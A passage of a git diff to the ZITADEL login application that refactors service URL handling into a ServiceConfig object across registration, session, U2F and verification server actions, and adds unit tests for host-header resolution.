+import { getServiceConfig } from "../service-url";
 import { checkEmailVerification, checkMFAFactors } from "../verify-helper";
 import { getOrSetFingerprintId } from "../fingerprint";
 import crypto from "crypto";
@@ -30,11 +30,9 @@ export type RegisterUserResponse = {
 export async function registerUser(command: RegisterUserCommand) {
   const t = await getTranslations("register");
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const addResponse = await addHumanUser({
-    serviceUrl,
-    email: command.email,
+  const addResponse = await addHumanUser({ serviceConfig, email: command.email,
     firstName: command.firstName,
     lastName: command.lastName,
     password: command.password ? command.password : undefined,
@@ -45,9 +43,7 @@ export async function registerUser(command: RegisterUserCommand) {
     return { error: t("errors.couldNotCreateUser") };
   }
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: command.organization,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: command.organization,
   });
 
   let checkPayload: any = {
@@ -100,9 +96,7 @@ export async function registerUser(command: RegisterUserCommand) {
 
     return { redirect: "/passkey/set?" + params };
   } else {
-    const userResponse = await getUserByID({
-      serviceUrl,
-      userId: session?.factors?.user?.id,
+    const userResponse = await getUserByID({ serviceConfig, userId: session?.factors?.user?.id,
     });
 
     if (!userResponse.user) {
@@ -162,11 +156,9 @@ export async function registerUserAndLinkToIDP(command: RegisterUserAndLinkToIDP
   const t = await getTranslations("register");
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const addUserResponse = await addHumanUser({
-    serviceUrl,
-    email: command.email,
+  const addUserResponse = await addHumanUser({ serviceConfig, email: command.email,
     firstName: command.firstName,
     lastName: command.lastName,
     organization: command.organization,
@@ -176,14 +168,10 @@ export async function registerUserAndLinkToIDP(command: RegisterUserAndLinkToIDP
     return { error: t("errors.couldNotCreateUser") };
   }
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: command.organization,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: command.organization,
   });
 
-  const idpLink = await addIDPLink({
-    serviceUrl,
-    idp: {
+  const idpLink = await addIDPLink({ serviceConfig, idp: {
       id: command.idpId,
       userId: command.idpUserId,
       userName: command.idpUserName,
@@ -207,7 +195,7 @@ export async function registerUserAndLinkToIDP(command: RegisterUserAndLinkToIDP
   }
 
   // const userResponse = await getUserByID({
-  //   serviceUrl,
+  //   serviceConfig.baseUrl,
   //   userId: session?.factors?.user?.id,
   // });
 
@@ -227,9 +215,7 @@ export async function registerUserAndLinkToIDP(command: RegisterUserAndLinkToIDP
   // check if user has MFA methods
   let authMethods;
   if (session.factors?.user?.id) {
-    const response = await listAuthenticationMethodTypes({
-      serviceUrl,
-      userId: session.factors.user.id,
+    const response = await listAuthenticationMethodTypes({ serviceConfig, userId: session.factors.user.id,
     });
     if (response.authMethodTypes && response.authMethodTypes.length) {
       authMethods = response.authMethodTypes;
@@ -239,7 +225,7 @@ export async function registerUserAndLinkToIDP(command: RegisterUserAndLinkToIDP
   // Always check MFA factors, even if no auth methods are configured
   // This ensures that force MFA settings are respected
   const mfaFactorCheck = await checkMFAFactors(
-    serviceUrl,
+    serviceConfig,
     session,
     loginSettings,
     authMethods || [], // Pass empty array if no auth methods
diff --git a/apps/login/src/lib/server/session.ts b/apps/login/src/lib/server/session.ts
index 43839cf784f..dd57f657707 100644
--- a/apps/login/src/lib/server/session.ts
+++ b/apps/login/src/lib/server/session.ts
@@ -21,8 +21,8 @@ import {
   getSessionCookieByLoginName,
   removeSessionFromCookie,
 } from "../cookies";
-import { getServiceUrlFromHeaders } from "../service-url";
-import { getOriginalHost } from "./host";
+import { getServiceConfig } from "../service-url";
+import { getPublicHost } from "./host";
 
 export async function skipMFAAndContinueWithNextUrl({
   userId,
@@ -38,14 +38,11 @@ export async function skipMFAAndContinueWithNextUrl({
   organization?: string;
 }): Promise<{ redirect: string } | { error: string }> {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: organization,
-  });
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: organization });
 
-  await humanMFAInitSkipped({ serviceUrl, userId });
+  await humanMFAInitSkipped({ serviceConfig, userId });
 
   if (requestId && sessionId) {
     return completeFlowOrGetUrl(
@@ -73,14 +70,11 @@ export type ContinueWithSessionCommand = Session & { requestId?: string };
 
 export async function continueWithSession({ requestId, ...session }: ContinueWithSessionCommand) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const t = await getTranslations("error");
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: session.factors?.user?.organizationId,
-  });
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: session.factors?.user?.organizationId });
 
   if (requestId && session.id && session.factors?.user) {
     return completeFlowOrGetUrl(
@@ -130,8 +124,8 @@ export async function updateSession(options: UpdateSessionCommand) {
   }
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
-  const host = await getOriginalHost();
+  const { serviceConfig } = getServiceConfig(_headers);
+  const host = getPublicHost(_headers);
 
   if (!host) {
     return { error: "Could not get host" };
@@ -143,10 +137,7 @@ export async function updateSession(options: UpdateSessionCommand) {
     challenges.webAuthN.domain = hostname;
   }
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization,
-  });
+  const loginSettings = await getLoginSettings({ serviceConfig, organization });
 
   let lifetime = checks?.webAuthN
     ? loginSettings?.multiFactorCheckLifetime // TODO different lifetime for webauthn u2f/passkey
@@ -177,10 +168,7 @@ export async function updateSession(options: UpdateSessionCommand) {
   // if password, check if user has MFA methods
   let authMethods;
   if (checks && checks.password && session.factors?.user?.id) {
-    const response = await listAuthenticationMethodTypes({
-      serviceUrl,
-      userId: session.factors.user.id,
-    });
+    const response = await listAuthenticationMethodTypes({ serviceConfig, userId: session.factors.user.id });
     if (response.authMethodTypes && response.authMethodTypes.length) {
       authMethods = response.authMethodTypes;
     }
@@ -200,19 +188,19 @@ type ClearSessionOptions = {
 
 export async function clearSession(options: ClearSessionOptions) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const { sessionId } = options;
 
   const sessionCookie = await getSessionCookieById({ sessionId });
 
   const deleteResponse = await deleteSession({
-    serviceUrl,
+    serviceConfig,
     sessionId: sessionCookie.id,
     sessionToken: sessionCookie.token,
   });
 
-  const securitySettings = await getSecuritySettings({ serviceUrl });
+  const securitySettings = await getSecuritySettings({ serviceConfig });
   const iFrameEnabled = !!securitySettings?.embeddedIframe?.enabled;
 
   if (!deleteResponse) {
diff --git a/apps/login/src/lib/server/u2f.ts b/apps/login/src/lib/server/u2f.ts
index 69d0454e906..c73ee4eacb9 100644
--- a/apps/login/src/lib/server/u2f.ts
+++ b/apps/login/src/lib/server/u2f.ts
@@ -6,8 +6,8 @@ import { VerifyU2FRegistrationRequestSchema } from "@zitadel/proto/zitadel/user/
 import { headers } from "next/headers";
 import { userAgent } from "next/server";
 import { getSessionCookieById } from "../cookies";
-import { getServiceUrlFromHeaders } from "../service-url";
-import { getOriginalHost } from "./host";
+import { getServiceConfig } from "../service-url";
+import { getPublicHost } from "./host";
 
 type RegisterU2FCommand = {
   sessionId: string;
@@ -22,8 +22,8 @@ type VerifyU2FCommand = {
 
 export async function addU2F(command: RegisterU2FCommand) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
-  const host = await getOriginalHost();
+  const { serviceConfig } = getServiceConfig(_headers);
+  const host = getPublicHost(_headers);
 
   const sessionCookie = await getSessionCookieById({
     sessionId: command.sessionId,
@@ -33,11 +33,7 @@ export async function addU2F(command: RegisterU2FCommand) {
     return { error: "Could not get session" };
   }
 
-  const session = await getSession({
-    serviceUrl,
-    sessionId: sessionCookie.id,
-    sessionToken: sessionCookie.token,
-  });
+  const session = await getSession({ serviceConfig, sessionId: sessionCookie.id, sessionToken: sessionCookie.token });
 
   const [hostname] = host.split(":");
 
@@ -51,12 +47,12 @@ export async function addU2F(command: RegisterU2FCommand) {
     return { error: "Could not get session" };
   }
 
-  return registerU2F({ serviceUrl, userId, domain: hostname });
+  return registerU2F({ serviceConfig, userId, domain: hostname });
 }
 
 export async function verifyU2F(command: VerifyU2FCommand) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
   let passkeyName = command.passkeyName;
   if (!passkeyName) {
     const headersList = await headers();
@@ -71,11 +67,7 @@ export async function verifyU2F(command: VerifyU2FCommand) {
     sessionId: command.sessionId,
   });
 
-  const session = await getSession({
-    serviceUrl,
-    sessionId: sessionCookie.id,
-    sessionToken: sessionCookie.token,
-  });
+  const session = await getSession({ serviceConfig, sessionId: sessionCookie.id, sessionToken: sessionCookie.token });
 
   const userId = session?.session?.factors?.user?.id;
 
@@ -90,5 +82,5 @@ export async function verifyU2F(command: VerifyU2FCommand) {
     userId,
   });
 
-  return verifyU2FRegistration({ serviceUrl, request });
+  return verifyU2FRegistration({ serviceConfig, request });
 }
diff --git a/apps/login/src/lib/server/verify.ts b/apps/login/src/lib/server/verify.ts
index 3fb4506663f..c5ad14103dd 100644
--- a/apps/login/src/lib/server/verify.ts
+++ b/apps/login/src/lib/server/verify.ts
@@ -20,30 +20,26 @@ import { cookies, headers } from "next/headers";
 import { completeFlowOrGetUrl } from "../client";
 import { getSessionCookieByLoginName } from "../cookies";
 import { getOrSetFingerprintId } from "../fingerprint";
-import { getServiceUrlFromHeaders } from "../service-url";
+import { getServiceConfig } from "../service-url";
 import { loadMostRecentSession } from "../session";
 import { checkMFAFactors } from "../verify-helper";
 import { createSessionAndUpdateCookie } from "./cookie";
-import { getOriginalHostWithProtocol } from "./host";
+import { getPublicHostWithProtocol } from "./host";
 import { getTranslations } from "next-intl/server";
 
 export async function verifyTOTP(code: string, loginName?: string, organization?: string) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   return loadMostRecentSession({
-    serviceUrl,
+    serviceConfig,
     sessionParams: {
       loginName,
       organization,
     },
   }).then((session) => {
     if (session?.factors?.user?.id) {
-      return verifyTOTPRegistration({
-        serviceUrl,
-        code,
-        userId: session.factors.user.id,
-      });
+      return verifyTOTPRegistration({ serviceConfig, code, userId: session.factors.user.id });
     } else {
       throw Error("No user id found in session.");
     }
@@ -62,22 +58,14 @@ type VerifyUserByEmailCommand = {
 export async function sendVerification(command: VerifyUserByEmailCommand) {
   const t = await getTranslations("verify");
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const verifyResponse = command.isInvite
-    ? await verifyInviteCode({
-        serviceUrl,
-        userId: command.userId,
-        verificationCode: command.code,
-      }).catch((error) => {
+    ? await verifyInviteCode({ serviceConfig, userId: command.userId, verificationCode: command.code }).catch((error) => {
         console.warn(error);
         return { error: t("errors.couldNotVerifyInvite") };
       })
-    : await verifyEmail({
-        serviceUrl,
-        userId: command.userId,
-        verificationCode: command.code,
-      }).catch((error) => {
+    : await verifyEmail({ serviceConfig, userId: command.userId, verificationCode: command.code }).catch((error) => {
         console.warn(error);
         return { error: t("errors.couldNotVerifyEmail") };
       });
@@ -91,10 +79,7 @@ export async function sendVerification(command: VerifyUserByEmailCommand) {
   }
 
   let session: Session | undefined;
-  const userResponse = await getUserByID({
-    serviceUrl,
-    userId: command.userId,
-  });
+  const userResponse = await getUserByID({ serviceConfig, userId: command.userId });
 
   if (!userResponse || !userResponse.user) {
     return { error: t("errors.couldNotLoadUser") };
@@ -110,22 +95,17 @@ export async function sendVerification(command: VerifyUserByEmailCommand) {
   });
 
   if (sessionCookie) {
-    session = await getSession({
-      serviceUrl,
-      sessionId: sessionCookie.id,
-      sessionToken: sessionCookie.token,
-    }).then((response) => {
-      if (response?.session) {
-        return response.session;
-      }
-    });
+    session = await getSession({ serviceConfig, sessionId: sessionCookie.id, sessionToken: sessionCookie.token }).then(
+      (response) => {
+        if (response?.session) {
+          return response.session;
+        }
+      },
+    );
   }
 
   // load auth methods for user
-  const authMethodResponse = await listAuthenticationMethodTypes({
-    serviceUrl,
-    userId: user.userId,
-  });
+  const authMethodResponse = await listAuthenticationMethodTypes({ serviceConfig, userId: user.userId });
 
   if (!authMethodResponse || !authMethodResponse.authMethodTypes) {
     return { error: t("errors.couldNotLoadAuthenticators") };
@@ -203,14 +183,11 @@ export async function sendVerification(command: VerifyUserByEmailCommand) {
     return { redirect: `/verify/success?${verifySuccessParams}` };
   }
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: user.details?.resourceOwner,
-  });
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: user.details?.resourceOwner });
 
   // redirect to mfa factor if user has one, or redirect to set one up
   const mfaFactorCheck = await checkMFAFactors(
-    serviceUrl,
+    serviceConfig,
     session,
     loginSettings,
     authMethodResponse.authMethodTypes,
@@ -253,14 +230,14 @@ type resendVerifyEmailCommand = {
 export async function resendVerification(command: resendVerifyEmailCommand) {
   const t = await getTranslations("verify");
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
-  const hostWithProtocol = await getOriginalHostWithProtocol();
+  const { serviceConfig } = getServiceConfig(_headers);
+  const hostWithProtocol = await getPublicHostWithProtocol(_headers);
 
   const basePath = process.env.NEXT_PUBLIC_BASE_PATH ?? "";
 
   return command.isInvite
     ? createInviteCode({
-        serviceUrl,
+        serviceConfig,
         userId: command.userId,
         urlTemplate:
           `${hostWithProtocol}${basePath}/verify?code={{.Code}}&userId={{.UserID}}&organization={{.OrgID}}&invite=true` +
@@ -272,8 +249,8 @@ export async function resendVerification(command: resendVerifyEmailCommand) {
         return { error: t("errors.couldNotResendInvite") };
       })
     : zitadelSendEmailCode({
+        serviceConfig,
         userId: command.userId,
-        serviceUrl,
         urlTemplate:
           `${hostWithProtocol}${basePath}/verify?code={{.Code}}&userId={{.UserID}}&organization={{.OrgID}}` +
           (command.requestId ? `&requestId=${command.requestId}` : ""),
@@ -287,22 +264,14 @@ type SendEmailCommand = {
 
 export async function sendEmailCode(command: SendEmailCommand) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  return zitadelSendEmailCode({
-    serviceUrl,
-    userId: command.userId,
-    urlTemplate: command.urlTemplate,
-  });
+  return zitadelSendEmailCode({ serviceConfig, userId: command.userId, urlTemplate: command.urlTemplate });
 }
 
 export async function sendInviteEmailCode(command: SendEmailCommand) {
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  return createInviteCode({
-    serviceUrl,
-    userId: command.userId,
-    urlTemplate: command.urlTemplate,
-  });
+  return createInviteCode({ serviceConfig, userId: command.userId, urlTemplate: command.urlTemplate });
 }
diff --git a/apps/login/src/lib/service-url.test.ts b/apps/login/src/lib/service-url.test.ts
new file mode 100644
index 00000000000..be8408af991
--- /dev/null
+++ b/apps/login/src/lib/service-url.test.ts
@@ -0,0 +1,217 @@
+import { describe, expect, test, beforeEach, afterEach, vi } from "vitest";
+import { getServiceConfig, constructUrl } from "./service-url";
+import { NextRequest } from "next/server";
+
+describe("Service URL utilities", () => {
+  const originalEnv = process.env;
+
+  beforeEach(() => {
+    process.env = { ...originalEnv };
+  });
+
+  afterEach(() => {
+    process.env = originalEnv;
+  });
+
+  describe("getServiceConfig", () => {
+    test("should throw when ZITADEL_API_URL is not set", () => {
+      process.env.ZITADEL_API_URL = undefined as any;
+
+      const mockHeaders = {
+        get: vi.fn(() => null),
+      } as any;
+
+      expect(() => getServiceConfig(mockHeaders)).toThrow("ZITADEL_API_URL is not set");
+    });
+
+    test("should return only baseUrl when x-zitadel-forward-host is not present (self-hosted)", () => {
+      process.env.ZITADEL_API_URL = "https://zitadel.mycompany.com";
+
+      const mockHeaders = {
+        get: vi.fn((key: string) => {
+          if (key === "x-zitadel-forward-host") return null;
+          if (key === "host") return "mycompany.com";
+          return null;
+        }),
+      } as any;
+
+      const result = getServiceConfig(mockHeaders);
+
+      expect(result.serviceConfig.baseUrl).toBe("https://zitadel.mycompany.com");
+      expect(result.serviceConfig.instanceHost).toBeUndefined();
+      expect(result.serviceConfig.publicHost).toBe("mycompany.com");
+    });
+
+    test("should use x-zitadel-forward-host when present (multi-tenant)", () => {
+      process.env.ZITADEL_API_URL = "https://api.zitadel.cloud";
+
+      const mockHeaders = {
+        get: vi.fn((key: string) => {
+          if (key === "x-zitadel-forward-host") return "customer.zitadel.cloud";
+          if (key === "host") return "customer.zitadel.cloud";
+          return null;
+        }),
+      } as any;
+
+      const result = getServiceConfig(mockHeaders);
+
+      expect(result.serviceConfig.baseUrl).toBe("https://api.zitadel.cloud");
+      expect(result.serviceConfig.instanceHost).toBe("customer.zitadel.cloud");
+      expect(result.serviceConfig.publicHost).toBe("customer.zitadel.cloud");
+    });
+
+    test("should strip protocol from instanceHost and publicHost", () => {
+      process.env.ZITADEL_API_URL = "https://api.zitadel.cloud";
+
+      const mockHeaders = {
+        get: vi.fn((key: string) => {
+          if (key === "x-zitadel-forward-host") return "https://customer.zitadel.cloud";
+          if (key === "host") return "customer.zitadel.cloud";
+          return null;
+        }),
+      } as any;
+
+      const result = getServiceConfig(mockHeaders);
+
+      expect(result.serviceConfig.instanceHost).toBe("customer.zitadel.cloud");
+      expect(result.serviceConfig.publicHost).toBe("customer.zitadel.cloud");
+    });
+
+    test("should throw when host header is missing", () => {
+      process.env.ZITADEL_API_URL = "https://api.zitadel.cloud";
+
+      const mockHeaders = {
+        get: vi.fn((key: string) => {
+          if (key === "x-zitadel-forward-host") return null;
+          if (key === "host") return null;
+          return null;
+        }),
+      } as any;
+
+      expect(() => getServiceConfig(mockHeaders)).toThrow("No host found in headers");
+    });
+
+    test("should handle host with port number", () => {
+      process.env.ZITADEL_API_URL = "https://api.zitadel.cloud";
+
+      const mockHeaders = {
+        get: vi.fn((key: string) => {
+          if (key === "x-zitadel-forward-host") return "customer.zitadel.cloud:443";
+          if (key === "host") return "customer.zitadel.cloud:443";
+          return null;
+        }),
+      } as any;
+
+      const result = getServiceConfig(mockHeaders);
+
+      expect(result.serviceConfig.publicHost).toBe("customer.zitadel.cloud:443");
+    });
+  });
+
+  describe("constructUrl", () => {
+    test("should construct URL with x-zitadel-forward-host when present", () => {
+      process.env.NEXT_PUBLIC_BASE_PATH = "";
+      const mockRequest = {
+        headers: {
+          get: vi.fn((key: string) => {
+            if (key === "x-zitadel-forward-host") return "customer.zitadel.cloud";
+            if (key === "host") return "customer.zitadel.cloud";
+            return null;
+          }),
+        },
+        nextUrl: {
+          protocol: "https:",
+        },
+      } as any;
+
+      const result = constructUrl(mockRequest as NextRequest, "/test");
+
+      expect(result.hostname).toBe("customer.zitadel.cloud");
+      expect(result.pathname).toBe("/test");
+      expect(result.protocol).toBe("https:");
+    });
+
+    test("should fall back to x-forwarded-host when x-zitadel-forward-host is not present", () => {
+      process.env.NEXT_PUBLIC_BASE_PATH = "";
+      const mockRequest = {
+        headers: {
+          get: vi.fn((key: string) => {
+            if (key === "x-zitadel-forward-host") return null;
+            if (key === "x-forwarded-host") return "mycompany.com";
+            return null;
+          }),
+        },
+        nextUrl: {
+          protocol: "https:",
+        },
+      } as any;
+
+      const result = constructUrl(mockRequest as NextRequest, "/oauth/authorize");
+
+      expect(result.hostname).toBe("mycompany.com");
+      expect(result.pathname).toBe("/oauth/authorize");
+    });
+
+    test("should fall back to host header when no forwarded headers present", () => {
+      const mockRequest = {
+        headers: {
+          get: vi.fn((key: string) => {
+            if (key === "x-zitadel-forward-host") return null;
+            if (key === "x-forwarded-host") return null;
+            if (key === "host") return "localhost:3000";
+            return null;
+          }),
+        },
+        nextUrl: {
+          protocol: "http:",
+        },
+      } as any;
+
+      const result = constructUrl(mockRequest as NextRequest, "/test");
+
+      expect(result.hostname).toBe("localhost");
+      expect(result.port).toBe("3000");
+    });
+
+    test("should use protocol from nextUrl.protocol (not from headers)", () => {
+      const mockRequest = {
+        headers: {
+          get: vi.fn((key: string) => {
+            // Even if x-forwarded-proto is present, it should be ignored
+            if (key === "x-forwarded-proto") return "http";
+            if (key === "host") return "example.com";
+            return null;
+          }),
+        },
+        nextUrl: {
+          protocol: "https:", // This should be used
+        },
+      } as any;
+
+      const result = constructUrl(mockRequest as NextRequest, "/test");
+
+      // Should use https: from nextUrl.protocol, not http from header
+      expect(result.protocol).toBe("https:");
+    });
+
+    test("should include base path when NEXT_PUBLIC_BASE_PATH is set", () => {
+      process.env.NEXT_PUBLIC_BASE_PATH = "/login";
+
+      const mockRequest = {
+        headers: {
+          get: vi.fn((key: string) => {
+            if (key === "host") return "example.com";
+            return null;
+          }),
+        },
+        nextUrl: {
+          protocol: "https:",
+        },
+      } as any;
+
+      const result = constructUrl(mockRequest as NextRequest, "/test");
+
+      expect(result.pathname).toBe("/login/test");
+    });
+  });
+});
diff --git a/apps/login/src/lib/service-url.ts b/apps/login/src/lib/service-url.ts
index cc5e3f04c40..02a2160dee1 100644
--- a/apps/login/src/lib/service-url.ts
+++ b/apps/login/src/lib/service-url.ts
@@ -1,58 +1,47 @@
 import { ReadonlyHeaders } from "next/dist/server/web/spec-extension/adapters/headers";
 import { NextRequest } from "next/server";
+import { ServiceConfig } from "./zitadel";
+import { getInstanceHost, getPublicHost } from "./server/host";
 
 /**
- * Extracts the service url and region from the headers if used in a multitenant context (host, x-zitadel-forward-host header)
- * or falls back to the ZITADEL_API_URL for a self hosting deployment
- * or falls back to the host header for a self hosting deployment using custom domains
- * @param headers
- * @returns the service url and region from the headers
- * @throws if the service url could not be determined
+ * Extracts the service URL based on deployment mode and configuration.
  *
+ * Priority:
+ * 1. ZITADEL_API_URL (required) - Used by both self-hosted and multi-tenant
+ * 2. x-zitadel-forward-host (multi-tenant only) - Set by Zitadel proxy
+ * 3. host header (multi-tenant fallback) - For dynamic host resolution
+ *
+ * @param headers - Request headers
+ * @returns Object containing the service Configuration
+ * @throws Error if the service Configuration could not be determined
  */
-export function getServiceUrlFromHeaders(headers: ReadonlyHeaders): {
-  serviceUrl: string;
-} {
-  let instanceUrl;
 
-  const forwardedHost = headers.get("x-zitadel-forward-host");
-  // use the forwarded host if available (multitenant), otherwise fall back to the host of the deployment itself
-  if (forwardedHost) {
-    instanceUrl = forwardedHost;
-    instanceUrl = instanceUrl.startsWith("http://")
-      ? instanceUrl
-      : `https://${instanceUrl}`;
-  } else if (process.env.ZITADEL_API_URL) {
-    instanceUrl = process.env.ZITADEL_API_URL;
-  } else {
-    const host = headers.get("host");
+function stripProtocol(url: string): string {
+  return url.replace(/^https?:\/\//, "");
+}
 
-    if (host) {
-      const [hostname] = host.split(":");
-      if (hostname !== "localhost") {
-        instanceUrl = host.startsWith("http") ? host : `https://${host}`;
-      }
-    }
+export function getServiceConfig(headers: ReadonlyHeaders): { serviceConfig: ServiceConfig } {
+  if (!process.env.ZITADEL_API_URL) {
+    throw new Error("ZITADEL_API_URL is not set");
   }
 
-  if (!instanceUrl) {
-    throw new Error("Service URL could not be determined");
-  }
+  // use forwarded host from proxy - headers are forwarded to the APIs.
+  const instanceHost = getInstanceHost(headers);
+  const publicHost = getPublicHost(headers);
 
   return {
-    serviceUrl: instanceUrl,
+    serviceConfig: {
+      baseUrl: process.env.ZITADEL_API_URL,
+      ...(instanceHost && { instanceHost: stripProtocol(instanceHost) }),
+      ...(publicHost && { publicHost: stripProtocol(publicHost) }),
+    },
   };
 }
 
 export function constructUrl(request: NextRequest, path: string) {
-  const forwardedProto = request.headers.get("x-forwarded-proto")
-    ? `${request.headers.get("x-forwarded-proto")}:`
-    : request.nextUrl.protocol;
+  const protocol = request.nextUrl.protocol;
 
-  const forwardedHost =
-    request.headers.get("x-zitadel-forward-host") ??
-    request.headers.get("x-forwarded-host") ??
-    request.headers.get("host");
+  const forwardedHost = getPublicHost(request.headers);
   const basePath = process.env.NEXT_PUBLIC_BASE_PATH || "";
-  return new URL(`${basePath}${path}`, `${forwardedProto}//${forwardedHost}`);
+  return new URL(`${basePath}${path}`, `${protocol}//${forwardedHost}`);
 }
diff --git a/apps/login/src/lib/service.ts b/apps/login/src/lib/service.ts
index f7e81cc9d61..29e56d0161b 100644
--- a/apps/login/src/lib/service.ts
+++ b/apps/login/src/lib/service.ts
@@ -7,7 +7,8 @@ import { SessionService } from "@zitadel/proto/zitadel/session/v2/session_servic
 import { SettingsService } from "@zitadel/proto/zitadel/settings/v2/settings_service_pb";
 import { UserService } from "@zitadel/proto/zitadel/user/v2/user_service_pb";
 import { systemAPIToken } from "./api";
-import { createServerTransport } from "./zitadel";
+import { hasSystemUserCredentials, hasServiceUserToken } from "./deployment";
+import { createServerTransport, ServiceConfig } from "./zitadel";
 
 type ServiceClass =
   | typeof IdentityProviderService
@@ -18,32 +19,27 @@ type ServiceClass =
   | typeof SettingsService
   | typeof SAMLService;
 
-export async function createServiceForHost<T extends ServiceClass>(
-  service: T,
-  serviceUrl: string,
-) {
+export async function createServiceForHost<T extends ServiceClass>(service: T, serviceConfig: ServiceConfig) {
   let token;
 
-  // if we are running in a multitenancy context, use the system user token
-  if (
-    process.env.AUDIENCE &&
-    process.env.SYSTEM_USER_ID &&
-    process.env.SYSTEM_USER_PRIVATE_KEY
-  ) {
+  // Determine authentication method based on available credentials
+  // Prefer system user JWT if available, fallback to service user token
+  if (hasSystemUserCredentials()) {
     token = await systemAPIToken();
-  } else if (process.env.ZITADEL_SERVICE_USER_TOKEN) {
+  } else if (hasServiceUserToken()) {
+    // Use service user token authentication (self-hosted)
     token = process.env.ZITADEL_SERVICE_USER_TOKEN;
+  } else {
+    throw new Error(
+      "No authentication credentials found. Set either system user credentials (AUDIENCE, SYSTEM_USER_ID, SYSTEM_USER_PRIVATE_KEY) or ZITADEL_SERVICE_USER_TOKEN",
+    );
   }
 
-  if (!serviceUrl) {
-    throw new Error("No instance url found");
+  if (!serviceConfig) {
+    throw new Error("No service config found");
   }
 
-  if (!token) {
-    throw new Error("No token found");
-  }
-
-  const transport = createServerTransport(token, serviceUrl);
+  const transport = createServerTransport(token, serviceConfig);
 
   return createClientFor<T>(service)(transport);
 }
diff --git a/apps/login/src/lib/session.test.ts b/apps/login/src/lib/session.test.ts
index a9d75ee08b6..1a7c0519e02 100644
--- a/apps/login/src/lib/session.test.ts
+++ b/apps/login/src/lib/session.test.ts
@@ -101,7 +101,7 @@ describe("isSessionValid", () => {
         factors: undefined,
       });
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(false);
       expect(consoleSpy).toHaveBeenCalledWith("Session has no user");
@@ -120,7 +120,7 @@ describe("isSessionValid", () => {
         authMethodTypes: [],
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(false);
       expect(consoleSpy).toHaveBeenCalledWith("Session is expired", expect.any(String));
@@ -147,7 +147,7 @@ describe("isSessionValid", () => {
         authMethodTypes: [],
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(false);
     });
@@ -179,7 +179,7 @@ describe("isSessionValid", () => {
         forceMfaLocalOnly: false,
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -207,7 +207,7 @@ describe("isSessionValid", () => {
         forceMfaLocalOnly: false,
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -242,7 +242,7 @@ describe("isSessionValid", () => {
 
       vi.mocked(verifyHelperModule.shouldEnforceMFA).mockReturnValue(true);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(false);
       expect(consoleSpy).toHaveBeenCalledWith(
@@ -278,7 +278,7 @@ describe("isSessionValid", () => {
         authMethodTypes: [AuthenticationMethodType.OTP_EMAIL],
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -307,7 +307,7 @@ describe("isSessionValid", () => {
         authMethodTypes: [AuthenticationMethodType.U2F],
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
@@ -342,7 +342,7 @@ describe("isSessionValid", () => {
         authMethodTypes: [AuthenticationMethodType.TOTP, AuthenticationMethodType.OTP_EMAIL],
       } as any);
 
-      const result = await isSessionValid({ serviceUrl: mockServiceUrl, session });
+      const result = await isSessionValid({ serviceConfig: { baseUrl: mockServiceUrl }, session });
 
       expect(result).toBe(true);
     });
